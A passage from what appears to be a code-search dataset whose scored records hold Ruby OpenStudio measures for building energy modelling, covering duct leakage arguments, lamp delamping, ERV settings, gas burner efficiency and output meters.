duct_total_leakage.setDisplayName(\"Ducts: Total Leakage\")\n duct_total_leakage.setUnits(\"frac\")\n duct_total_leakage.setDescription(\"The total amount of air flow leakage expressed as a fraction of the total air flow rate.\")\n duct_total_leakage.setDefaultValue(0.3)\n args << duct_total_leakage\n\n #make a double argument for supply leakage fraction of total\n duct_supply_frac = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_supply_frac\", false)\n duct_supply_frac.setDisplayName(\"Ducts: Supply Leakage Fraction of Total\")\n duct_supply_frac.setUnits(\"frac\")\n duct_supply_frac.setDescription(\"The amount of air flow leakage leaking out from the supply duct expressed as a fraction of the total duct leakage.\")\n duct_supply_frac.setDefaultValue(0.6)\n args << duct_supply_frac\n\n #make a double argument for return leakage fraction of total\n duct_return_frac = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_return_frac\", false)\n duct_return_frac.setDisplayName(\"Ducts: Return Leakage Fraction of Total\")\n duct_return_frac.setUnits(\"frac\")\n duct_return_frac.setDescription(\"The amount of air flow leakage leaking into the return duct expressed as a fraction of the total duct leakage.\")\n duct_return_frac.setDefaultValue(0.067)\n args << duct_return_frac \n\n #make a double argument for supply AH leakage fraction of total\n duct_ah_supply_frac = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_ah_supply_frac\", false)\n duct_ah_supply_frac.setDisplayName(\"Ducts: Supply Air Handler Leakage Fraction of Total\")\n duct_ah_supply_frac.setUnits(\"frac\")\n duct_ah_supply_frac.setDescription(\"The amount of air flow leakage leaking out from the supply-side of the air handler expressed as a fraction of the total duct leakage.\")\n duct_ah_supply_frac.setDefaultValue(0.067)\n args << duct_ah_supply_frac \n\n #make a double argument for return AH leakage fraction of total\n duct_ah_return_frac = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_ah_return_frac\", false)\n duct_ah_return_frac.setDisplayName(\"Ducts: Return Air Handler Leakage Fraction of Total\")\n duct_ah_return_frac.setUnits(\"frac\")\n duct_ah_return_frac.setDescription(\"The amount of air flow leakage leaking out from the return-side of the air handler expressed as a fraction of the total duct leakage.\")\n duct_ah_return_frac.setDefaultValue(0.267)\n args << duct_ah_return_frac\n \n # #make a string argument for norm leakage to outside\n # duct_norm_leakage_25pa = OpenStudio::Measure::OSArgument::makeStringArgument(\"duct_norm_leakage_25pa\", false)\n # duct_norm_leakage_25pa.setDisplayName(\"Ducts: Leakage to Outside at 25Pa\")\n # duct_norm_leakage_25pa.setUnits(\"cfm/100 ft^2 Finished Floor\")\n # duct_norm_leakage_25pa.setDescription(\"Normalized leakage to the outside when tested at a pressure differential of 25 Pascals (0.1 inches w.g.) across the system.\")\n # duct_norm_leakage_25pa.setDefaultValue(\"NA\")\n # args << duct_norm_leakage_25pa\n \n #make a string argument for duct location frac \n duct_location_frac = OpenStudio::Measure::OSArgument::makeStringArgument(\"duct_location_frac\", true)\n duct_location_frac.setDisplayName(\"Ducts: Location Fraction\")\n duct_location_frac.setUnits(\"frac\")\n duct_location_frac.setDescription(\"Fraction of supply ducts in the space specified by Duct Location; the remainder of supply ducts will be located in above-grade conditioned space.\")\n duct_location_frac.setDefaultValue(Constants.Auto)\n args << duct_location_frac\n\n #make a string argument for duct num returns\n duct_num_returns = OpenStudio::Measure::OSArgument::makeStringArgument(\"duct_num_returns\", true)\n duct_num_returns.setDisplayName(\"Ducts: Number of Returns\")\n duct_num_returns.setUnits(\"#\")\n duct_num_returns.setDescription(\"The number of duct returns.\")\n duct_num_returns.setDefaultValue(Constants.Auto)\n args << duct_num_returns \n \n #make a double argument for supply surface area multiplier\n duct_supply_area_mult = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_supply_area_mult\", true)\n duct_supply_area_mult.setDisplayName(\"Ducts: Supply Surface Area Multiplier\")\n duct_supply_area_mult.setUnits(\"mult\")\n duct_supply_area_mult.setDescription(\"Values specify a fraction of the Building America Benchmark supply duct surface area.\")\n duct_supply_area_mult.setDefaultValue(1.0)\n args << duct_supply_area_mult\n\n #make a double argument for return surface area multiplier\n duct_return_area_mult = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_return_area_mult\", true)\n duct_return_area_mult.setDisplayName(\"Ducts: Return Surface Area Multiplier\")\n duct_return_area_mult.setUnits(\"mult\")\n duct_return_area_mult.setDescription(\"Values specify a fraction of the Building America Benchmark return duct surface area.\")\n duct_return_area_mult.setDefaultValue(1.0)\n args << duct_return_area_mult\n \n #make a double argument for duct unconditioned r value\n duct_unconditioned_r = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"duct_unconditioned_r\", true)\n duct_unconditioned_r.setDisplayName(\"Ducts: Insulation Nominal R-Value\")\n duct_unconditioned_r.setUnits(\"h-ft^2-R/Btu\")\n duct_unconditioned_r.setDescription(\"The nominal R-value for duct insulation.\")\n duct_unconditioned_r.setDefaultValue(0.0)\n args << duct_unconditioned_r\n \n # #make a string argument for distribution system efficiency\n # dist_system_eff = OpenStudio::Measure::OSArgument::makeStringArgument(\"dist_system_eff\", false)\n # dist_system_eff.setDisplayName(\"Ducts: Distribution System Efficiency\")\n # dist_system_eff.setDescription(\"A system efficiency factor, not included in manufacturer's equipment performance ratings for heating and cooling equipment, that adjusts for the energy losses associated with the delivery of energy from the equipment to the source of the load.\")\n # dist_system_eff.setDefaultValue(\"NA\")\n # args << dist_system_eff \n\n return args\n end", "title": "" }, { "docid": "652a7a03fcc730f5f9d0ad37cbfc68eb", "score": "0.5913727", "text": "def process_metrics; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "a5538428a8a658bd082bc8ab4c08b5e0", "score": "0.59065133", "text": "def args; end", "title": "" }, { "docid": "9c10886c3b322321ef3a5de26bac6578", "score": "0.5868739", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assume the delamping last the full analysis\n expected_life = 25\n \n #assign the user inputs to variables\n space_type_object = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n lights_def_object = runner.getOptionalWorkspaceObjectChoiceValue(\"light_def\",user_arguments,model)\n lamps_removed_per_fixture = runner.getIntegerArgumentValue(\"lamps_removed_per_fixture\",user_arguments)\n material_and_installation_cost_per_fixture = runner.getDoubleArgumentValue(\"material_and_installation_cost_per_fixture\",user_arguments)\n \n #check the lighting_def argument to make sure it still is in the model\n original_lights_def = nil\n if lights_def_object.empty?\n handle = runner.getStringArgumentValue(\"lighting_def\",user_arguments)\n if handle.empty?\n runner.registerError(\"No lighting definition was chosen.\")\n else\n runner.registerError(\"The selected lighting definition with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if lights_def_object.get.to_LightsDefinition.is_initialized\n original_lights_def = lights_def_object.get.to_LightsDefinition.get\n end\n end\n\n #check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if space_type_object.empty?\n handle = runner.getStringArgumentValue(\"space_type\",user_arguments)\n if handle.empty?\n runner.registerError(\"No space type was chosen.\")\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if not space_type_object.get.to_SpaceType.empty?\n space_type = space_type_object.get.to_SpaceType.get\n elsif not space_type_object.get.to_Building.empty?\n apply_to_building = true\n else\n runner.registerError(\"Script Error - argument not showing up as space type or building.\")\n return false\n end\n end\n \n #check arguments for reasonableness\n if lamps_removed_per_fixture < 1\n runner.registerError(\"Number of lamps to remove per fixture must be greater than 0.\")\n return false\n end\n\n #(1) 32.0W T8 Linear Fluorescent (1) 0.88BF Fluorescent Electronic Non-Dimming\n name = original_lights_def.name.get\n runner.registerInfo(\"Properties of Fixture to be Delamped:\")\n runner.registerInfo(\"'#{name}'\")\n \n #get the fixture properties from the fixture name\n lamp_type = name.scan(/[\\d\\.]+W (\\w+)/)[0][0]\n runner.registerInfo(\"lamp_type = #{lamp_type}\")\n next unless lamp_type == \"T8\" #only looking for T8 fixtures\n \n lamp_wattage = name.match(/([\\d\\.]+)W/)[0].to_f\n runner.registerInfo(\"lamp_wattage = #{lamp_wattage}\")\n next unless lamp_wattage == 32.0 #only looking to replace 32W T8s\n \n num_lamps = name.scan(/\\((\\d+)\\)/)[0][0].to_f\n runner.registerInfo(\"num_lamps = #{num_lamps}\")\n num_new_lamps = num_lamps - lamps_removed_per_fixture\n \n num_ballasts = name.scan(/\\((\\d+)\\)/)[1][0].to_f\n runner.registerInfo(\"num_ballasts = #{num_ballasts}\")\n\n ballast_factor = name.match(/([\\d\\.]+)BF/)[0].to_f\n runner.registerInfo(\"ballast_factor = #{ballast_factor}\")\n \n #calculate the wattage of the delamped fixture\n new_total_wattage = num_new_lamps * lamp_wattage * ballast_factor\n \n #make a delamped copy of the original fixture\n new_name = \"Delamped #{name}\"\n delamped_fixture_def = OpenStudio::Model::LightsDefinition.new(model)\n delamped_fixture_def.setName(new_name)\n delamped_fixture_def.setLightingLevel(new_total_wattage)\n\n #add costs to the new fixture\n if material_and_installation_cost_per_fixture != 0\n cost = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"Delamp #{name}\", delamped_fixture_def, material_and_installation_cost_per_fixture, \"CostPerEach\", \"Construction\", expected_life, 0)\n if cost.empty?\n runner.registerError(\"Failed to add costs.\")\n end\n end \n \n #replace all of the fixtures of a given type\n #with the new fixture\n number_of_fixtures_delamped = 0\n if apply_to_building #apply to the whole building\n runner.registerInfo(\"Checking light fixtures in whole building\") \n model.getLightss.each do |light_fixture|\n if light_fixture.lightsDefinition == original_lights_def\n runner.registerInfo(\"Delamped '#{light_fixture.name}'\")\n light_fixture.setLightsDefinition(delamped_fixture_def)\n number_of_fixtures_delamped += light_fixture.multiplier\n end\n end\n else #apply to the a specific space type\n #do the lights assigned to the space type itself\n runner.registerInfo(\"Checking light fixtures in space type '#{space_type.name}'\")\n space_type.lights.each do |light_fixture|\n if light_fixture.lightsDefinition == original_lights_def\n runner.registerInfo(\"Delamped '#{light_fixture.name}'\")\n light_fixture.setLightsDefinition(delamped_fixture_def)\n number_of_fixtures_delamped += light_fixture.multiplier\n end\n end\n #do the lights in each space of the selected space type\n space_type.spaces.each do |space|\n runner.registerInfo(\"Checking light fixtures in space '#{space.name}\")\n space.lights.each do |light_fixture|\n if light_fixture.lightsDefinition == original_lights_def\n runner.registerInfo(\"Delamped '#{light_fixture.name}'\")\n light_fixture.setLightsDefinition(delamped_fixture_def)\n number_of_fixtures_delamped += light_fixture.multiplier\n end\n end \n end\n end\n \n #report if the measure is not applicable (no 32W T8 fixtures)\n if number_of_fixtures_delamped == 0\n runner.registerAsNotApplicable(\"This measure is not applicable, because this building has no #{original_lights_def} fixtures to delamp.\")\n return true\n end\n \n #report initial condition\n runner.registerInitialCondition(\"The building has several areas where #{original_lights_def.name.get} light fixtures are providing too much light, causing occupant discomfort and wasting energy.\") \n \n #report final condition\n if apply_to_building\n runner.registerFinalCondition(\"Delamp #{number_of_fixtures_delamped.round} existing #{original_lights_def.name.get} light fixtures throughout the building by removing #{lamps_removed_per_fixture} lamps per fixture. The total cost to perform this delamping is $#{material_and_installation_cost_per_fixture.round} per fixture, for a total cost of $#{(material_and_installation_cost_per_fixture * number_of_fixtures_delamped).round}\")\n else\n runner.registerFinalCondition(\"Delamp #{number_of_fixtures_delamped.round} existing #{original_lights_def.name.get} light fixtures in #{space_type.name} spaces throughout the building by removing #{lamps_removed_per_fixture} lamps per fixture. The total cost to perform this delamping is $#{material_and_installation_cost_per_fixture.round} per fixture, for a total cost of $#{(material_and_installation_cost_per_fixture * number_of_fixtures_delamped).round}\")\n end\n \n return true\n \n end", "title": "" }, { "docid": "bbca8a27736fdb4d47f459551daf5cc3", "score": "0.5863406", "text": "def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # Make integer arg to run measure [1 is run, 0 is no run]\n run_measure = OpenStudio::Ruleset::OSArgument::makeIntegerArgument(\"run_measure\",true)\n run_measure.setDisplayName(\"Run Measure\")\n run_measure.setDescription(\"integer argument to run measure [1 is run, 0 is no run]\")\n run_measure.setDefaultValue(1)\n args << run_measure\n \n # Increased fan pressure drop from ERV\n fan_pressure_increase_inH2O = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"fan_pressure_increase_inH2O\", false)\n fan_pressure_increase_inH2O.setDisplayName(\"Increase in Fan Pressure from ERV\")\n fan_pressure_increase_inH2O.setUnits(\"in H2O\")\n fan_pressure_increase_inH2O.setDefaultValue(1.0)\n args << fan_pressure_increase_inH2O\t \n \n # Sensible Effectiveness at 100% Heating Air Flow (default of 0.76)\n sensible_eff_at_100_heating = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"sensible_eff_at_100_heating\", false)\n sensible_eff_at_100_heating.setDisplayName(\"Sensible Effectiveness at 100% Heating Air Flow\")\n sensible_eff_at_100_heating.setDefaultValue(0.76)\n args << sensible_eff_at_100_heating\t\n \n # Latent Effectiveness at 100% Heating Air Flow (default of 0.76)\n latent_eff_at_100_heating = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"latent_eff_at_100_heating\", false)\n latent_eff_at_100_heating.setDisplayName(\"Latent Effectiveness at 100% Heating Air Flow\")\n latent_eff_at_100_heating.setDefaultValue(0.68)\n args << latent_eff_at_100_heating\t\t\n \n # Sensible Effectiveness at 75% Heating Air Flow (default of 0.76)\n sensible_eff_at_75_heating = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"sensible_eff_at_75_heating\", false)\n sensible_eff_at_75_heating.setDisplayName(\"Sensible Effectiveness at 75% Heating Air Flow\")\n sensible_eff_at_75_heating.setDefaultValue(0.81)\n args << sensible_eff_at_75_heating\t\n \n # Latent Effectiveness at 100% Heating Air Flow (default of 0.76)\n latent_eff_at_75_heating = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"latent_eff_at_75_heating\", false)\n latent_eff_at_75_heating.setDisplayName(\"Latent Effectiveness at 75% Heating Air Flow\")\n latent_eff_at_75_heating.setDefaultValue(0.73)\n args << latent_eff_at_75_heating\t\t\n\n # Sensible Effectiveness at 100% Cooling Air Flow (default of 0.76)\n sensible_eff_at_100_cooling = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"sensible_eff_at_100_cooling\", false)\n sensible_eff_at_100_cooling.setDisplayName(\"Sensible Effectiveness at 100% Cooling Air Flow\")\n sensible_eff_at_100_cooling.setDefaultValue(0.76)\n args << sensible_eff_at_100_cooling\t\n \n # Latent Effectiveness at 100% Cooling Air Flow (default of 0.76)\n latent_eff_at_100_cooling = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"latent_eff_at_100_cooling\", false)\n latent_eff_at_100_cooling.setDisplayName(\"Latent Effectiveness at 100% Cooling Air Flow\")\n latent_eff_at_100_cooling.setDefaultValue(0.68)\n args << latent_eff_at_100_cooling\t\t\n \n # Sensible Effectiveness at 75% Cooling Air Flow (default of 0.76)\n sensible_eff_at_75_cooling = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"sensible_eff_at_75_cooling\", false)\n sensible_eff_at_75_cooling.setDisplayName(\"Sensible Effectiveness at 75% Cooling Air Flow\")\n sensible_eff_at_75_cooling.setDefaultValue(0.81)\n args << sensible_eff_at_75_cooling\t\n \n # Latent Effectiveness at 100% Cooling Air Flow (default of 0.76)\n latent_eff_at_75_cooling = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"latent_eff_at_75_cooling\", false)\n latent_eff_at_75_cooling.setDisplayName(\"Latent Effectiveness at 75% Cooling Air Flow\")\n latent_eff_at_75_cooling.setDefaultValue(0.73)\n args << latent_eff_at_75_cooling\n\n return args\n end", "title": "" }, { "docid": "75098e390aea3028a2232ff4ab9a52ef", "score": "0.5860577", "text": "def measure()\n raise \"Someone forgot to override Scale.measure with their unique logic\"\n end", "title": "" }, { "docid": "74e29e3314df5953d3cf9204ba374e2d", "score": "0.58559465", "text": "def run(*arguments); end", "title": "" }, { "docid": "74e29e3314df5953d3cf9204ba374e2d", "score": "0.58559465", "text": "def run(*arguments); end", "title": "" }, { "docid": "9775d5bcfbc311ddc11f4024df3ad1d7", "score": "0.5851443", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n measures_dir = File.absolute_path(File.join(File.dirname(__FILE__), '../../resources/hpxml-measures'))\n measure_subdir = 'BuildResidentialHPXML'\n full_measure_path = File.join(measures_dir, measure_subdir, 'measure.rb')\n check_file_exists(full_measure_path, runner)\n measure = get_measure_instance(full_measure_path)\n args = measure.get_argument_values(runner, user_arguments)\n\n # optionals: get or remove\n args.keys.each do |arg|\n begin # TODO: how to check if arg is an optional or not?\n if args[arg].is_initialized\n args[arg] = args[arg].get\n else\n args.delete(arg)\n end\n rescue\n end\n end\n\n # apply whole building create geometry measures\n measures_dir = File.absolute_path(File.join(File.dirname(__FILE__), '../../measures'))\n check_dir_exists(measures_dir, runner)\n\n if args[:geometry_unit_type] == 'single-family detached'\n measure_subdir = 'ResidentialGeometryCreateSingleFamilyDetached'\n elsif args[:geometry_unit_type] == 'single-family attached'\n measure_subdir = 'ResidentialGeometryCreateSingleFamilyAttached'\n elsif args[:geometry_unit_type] == 'apartment unit'\n measure_subdir = 'ResidentialGeometryCreateMultifamily'\n end\n\n full_measure_path = File.join(measures_dir, measure_subdir, 'measure.rb')\n check_file_exists(full_measure_path, runner)\n measure = get_measure_instance(full_measure_path)\n\n measure_args = {}\n whole_building_model = OpenStudio::Model::Model.new\n get_measure_args_default_values(whole_building_model, measure_args, measure)\n\n measures = {}\n measures[measure_subdir] = []\n if ['ResidentialGeometryCreateSingleFamilyAttached', 'ResidentialGeometryCreateMultifamily'].include? measure_subdir\n measure_args[:unit_ffa] = args[:geometry_cfa]\n measure_args[:num_floors] = args[:geometry_num_floors_above_grade]\n measure_args[:num_units] = args[:geometry_num_units]\n end\n measure_args = Hash[measure_args.collect{ |k, v| [k.to_s, v] }]\n measures[measure_subdir] << measure_args\n\n if not apply_measures(measures_dir, measures, runner, whole_building_model, nil, nil, true)\n return false\n end\n\n # get file/dir paths\n resources_dir = File.absolute_path(File.join(File.dirname(__FILE__), 'resources'))\n workflow_json = File.join(resources_dir, 'measure-info.json')\n\n # apply HPXML measures\n measures_dir = File.absolute_path(File.join(File.dirname(__FILE__), '../../resources/hpxml-measures'))\n check_dir_exists(measures_dir, runner)\n\n whole_building_model.getBuildingUnits.each_with_index do |unit, num_unit|\n unit_model = OpenStudio::Model::Model.new\n\n # BuildResidentialHPXML\n measure_subdir = 'BuildResidentialHPXML'\n\n # fill the measure args hash with default values\n measure_args = args\n\n measures = {}\n measures[measure_subdir] = []\n measure_args[:hpxml_path] = File.expand_path('../out.xml')\n begin\n measure_args[:software_program_used] = File.basename(File.absolute_path(File.join(File.dirname(__FILE__), '../../..')))\n rescue\n end\n begin\n version_rb File.absolute_path(File.join(File.dirname(__FILE__), '../../../lib/uo_cli/version.rb'))\n require version_rb\n measure_args[:software_program_version] = URBANopt::CLI::VERSION\n rescue\n end\n if unit.additionalProperties.getFeatureAsString('GeometryLevel').is_initialized\n measure_args[:geometry_level] = unit.additionalProperties.getFeatureAsString('GeometryLevel').get\n end\n if unit.additionalProperties.getFeatureAsString('GeometryHorizontalLocation').is_initialized\n measure_args[:geometry_horizontal_location] = unit.additionalProperties.getFeatureAsString('GeometryHorizontalLocation').get\n end\n measure_args = Hash[measure_args.collect{ |k, v| [k.to_s, v] }]\n measures[measure_subdir] << measure_args\n\n # HPXMLtoOpenStudio\n measure_subdir = 'HPXMLtoOpenStudio'\n full_measure_path = File.join(measures_dir, measure_subdir, 'measure.rb')\n check_file_exists(full_measure_path, runner)\n\n # fill the measure args hash with default values\n measure_args = {}\n\n measures[measure_subdir] = []\n measure_args[:hpxml_path] = File.expand_path('../out.xml')\n measure_args[:output_dir] = File.expand_path('..')\n measure_args[:debug] = true\n measure_args = Hash[measure_args.collect{ |k, v| [k.to_s, v] }]\n measures[measure_subdir] << measure_args\n\n if not apply_measures(measures_dir, measures, runner, unit_model, workflow_json, 'out.osw', true)\n return false\n end\n\n case args[:geometry_unit_type]\n when 'single-family detached'\n building_type = 'Single-Family Detached'\n when 'single-family attached'\n building_type = 'Single-Family Attached'\n when 'multifamily'\n building_type = 'Multifamily'\n end\n\n unit_model.getSpaceTypes.each do |space_type|\n next unless space_type.standardsSpaceType.is_initialized\n space_type.setStandardsBuildingType(building_type)\n end\n\n unit_dir = File.expand_path(\"../unit #{num_unit+1}\")\n Dir.mkdir(unit_dir)\n FileUtils.cp(File.expand_path('../out.xml'), unit_dir) # this is the raw hpxml file\n FileUtils.cp(File.expand_path('../out.osw'), unit_dir) # this has hpxml measure arguments in it \n FileUtils.cp(File.expand_path('../in.osm'), unit_dir) # this is osm translated from hpxml\n\n if whole_building_model.getBuildingUnits.length == 1\n model.getBuilding.remove\n model.getShadowCalculation.remove\n model.getSimulationControl.remove\n model.getSite.remove\n model.getTimestep.remove\n\n model.addObjects(unit_model.objects, true)\n next\n end\n\n # create building unit object to assign to spaces\n building_unit = OpenStudio::Model::BuildingUnit.new(unit_model)\n building_unit.setName(\"building_unit_#{num_unit}\")\n\n # save modified copy of model for use with merge\n unit_model.getSpaces.sort.each do |space|\n space.setYOrigin(60 * (num_unit-1)) # meters\n space.setBuildingUnit(building_unit)\n end\n\n # prefix all objects with name using unit number. May be cleaner if source models are setup with unique names\n unit_model.objects.each do |model_object|\n next if model_object.name.nil?\n model_object.setName(\"unit_#{num_unit} #{model_object.name.to_s}\")\n end\n\n moodified_unit_path = File.join(unit_dir, 'modified_unit.osm')\n unit_model.save(moodified_unit_path, true)\n\n # run merge merge_spaces_from_external_file to add this unit to original model\n merge_measures_dir = nil\n osw_measure_paths = runner.workflow.measurePaths\n osw_measure_paths.each do |orig_measure_path|\n next if not orig_measure_path.to_s.include?('gems/openstudio-model-articulation')\n merge_measures_dir = orig_measure_path.to_s\n break\n end\n merge_measure_subdir = 'merge_spaces_from_external_file'\n merge_measures = {}\n merge_measure_args = {}\n merge_measures[merge_measure_subdir] = []\n merge_measure_args[:external_model_name] = moodified_unit_path\n merge_measure_args[:merge_geometry] = true\n merge_measure_args[:merge_loads] = true\n merge_measure_args[:merge_attribute_names] = true\n merge_measure_args[:add_spaces] = true\n merge_measure_args[:remove_spaces] = false\n merge_measure_args[:merge_schedules] = true\n merge_measure_args[:compact_to_ruleset] = false\n merge_measure_args[:merge_zones] = true\n merge_measure_args[:merge_air_loops] = true\n merge_measure_args[:merge_plant_loops] = true\n merge_measure_args[:merge_swh] = true\n merge_measure_args = Hash[merge_measure_args.collect{ |k, v| [k.to_s, v] }]\n merge_measures[merge_measure_subdir] << merge_measure_args\n\n # for this instance pass in original model and not unit_model. unit_model path witll be an argument\n if not apply_measures(merge_measures_dir, merge_measures, runner, model, workflow_json, 'out.osw', true)\n return false\n end\n\n end\n\n # TODO: add surface intersection and matching (is don't in measure now but would be better to do once at end, make bool to skip in merge measure)\n\n return true\n end", "title": "" }, { "docid": "3ae5d1a30d9fa032e0a77997c4151434", "score": "0.5839809", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\t\n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\t\n meter_names = [\"Electricity:Facility\",\"InteriorLights:Electricity\",\"InteriorEquipment:Electricity\",\"ExteriorEquipment:Electricity\",\"Fans:Electricity\",\"Pumps:Electricity\",\"Heating:Electricity\",\"Cooling:Electricity\",\"HeatRejection:Electricity\",\"Humidifer:Electricity\",\"HeatRecovery:Electricity\",\"WaterSystems:Electricity\",\"Cogeneration:Electricity\",\"Gas:Facility\",\"InteriorEquipment:Gas\",\"ExteriorEquipment:Gas\",\"Heating:Gas\",\"Cooling:Gas\",\"WaterSystems:Gas\",\"Cogeneration:Gas\",\"DistrictHeating:Facility\",\"DistrictCooling:Facility\"];\n\t\n meters = model.getOutputMeters\n #reporting initial condition of model\n runner.registerInitialCondition(\"The model started with #{meters.size} meter objects.\")\n\t\n meter_names.each do |meter_name|\n add_flag = true\n \n # Two avoid two meters with the same name but different reporting frequencies, change the other to hourly.\n meters.each do |meter|\n if meter.name.to_s == meter_name\n old_frequency = meter.reportingFrequency\n runner.registerWarning(\"A meter named #{meter.name.to_s} already exists with reporting frequency #{old_frequency}. Changing frequency to hourly.\")\n meter.setReportingFrequency(\"hourly\")\n add_flag = false\n end\n end\n \n if add_flag\n meter = OpenStudio::Model::OutputMeter.new(model)\n meter.setName(meter_name)\n meter.setReportingFrequency(\"hourly\")\n meter.setMeterFileOnly(false)\n end \n end\n\t\n meters = model.getOutputMeters\n #reporting final condition of model\n runner.registerFinalCondition(\"The model finished with #{meters.size} meter objects.\")\n\t\n return true\n\t\n end", "title": "" }, { "docid": "48740e26497b996f402127902532f8e3", "score": "0.58379537", "text": "def finish\n @metrics.finish\n end", "title": "" }, { "docid": "09b422ae1e291f7ce04f1dd9c50ea770", "score": "0.5833291", "text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n eff = runner.getDoubleArgumentValue(\"eff\",user_arguments)\n\n #check the user_name for reasonableness\n if eff <= 0\n runner.registerError(\"Please enter a positive value no greater tan 1 for burner efficiency.\")\n return false\n end\n if eff > 1\n runner.registerError(\"Please enter a positive value no greater tan 1 for burner efficiency.\")\n return false\n end\n if eff > 0.99\n runner.registerWarning(\"The requested burner efficiency of #{eff} seems unusually high\")\n end\n\n #short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). The definition be called through this measure\n def neat_numbers(number, roundto = 2) #round to 0 or 2)\n if roundto == 2\n number = sprintf \"%.2f\", number\n else\n number = number.round\n end\n #regex to add commas\n number.to_s.reverse.gsub(%r{([0-9]{3}(?=([0-9])))}, \"\\\\1,\").reverse\n end #end def neat_numbers\n\n #get air loops for measure\n air_loops = model.getAirLoopHVACs\n\n # get eff values\n initial_eff_values = []\n\n #loop through air loops\n air_loops.each do |air_loop|\n supply_components = air_loop.supplyComponents\n\n #find two speed dx units on loop\n supply_components.each do |supply_component|\n hVACComponent = supply_component.to_CoilHeatingGas\n if not hVACComponent.empty?\n hVACComponent = hVACComponent.get\n\n #change and report high speed eff\n initial_eff = hVACComponent.gasBurnerEfficiency\n initial_eff_values << initial_eff\n runner.registerInfo(\"Changing the burner efficiency from #{initial_eff} to #{eff} for gas heating units '#{hVACComponent.name}' on air loop '#{air_loop.name}'\")\n hVACComponent.setGasBurnerEfficiency(eff)\n\n end #end if not hVACComponent.empty?\n\n end #end supply_components.each do\n\n end #end air_loops.each do\n\n #reporting initial condition of model\n runner.registerInitialCondition(\"The starting efficiency values in affected loop(s) range from #{initial_eff_values.min} to #{initial_eff_values.max}.\")\n\n if initial_eff_values.size == 0\n runner.registerAsNotApplicable(\"The affected loop(s) does not contain any Coil Heating Gas units, the model will not be altered.\")\n return true\n end\n\n #reporting final condition of model\n runner.registerFinalCondition(\"#{initial_eff_values.size} Coil Heating Gas units had their Rated COP values set to #{eff}.\")\n\n return true\n\n end", "title": "" }, { "docid": "a1dd9ef4933d6a64534787b6296806a7", "score": "0.5829275", "text": "def run(model, runner, user_arguments)\n 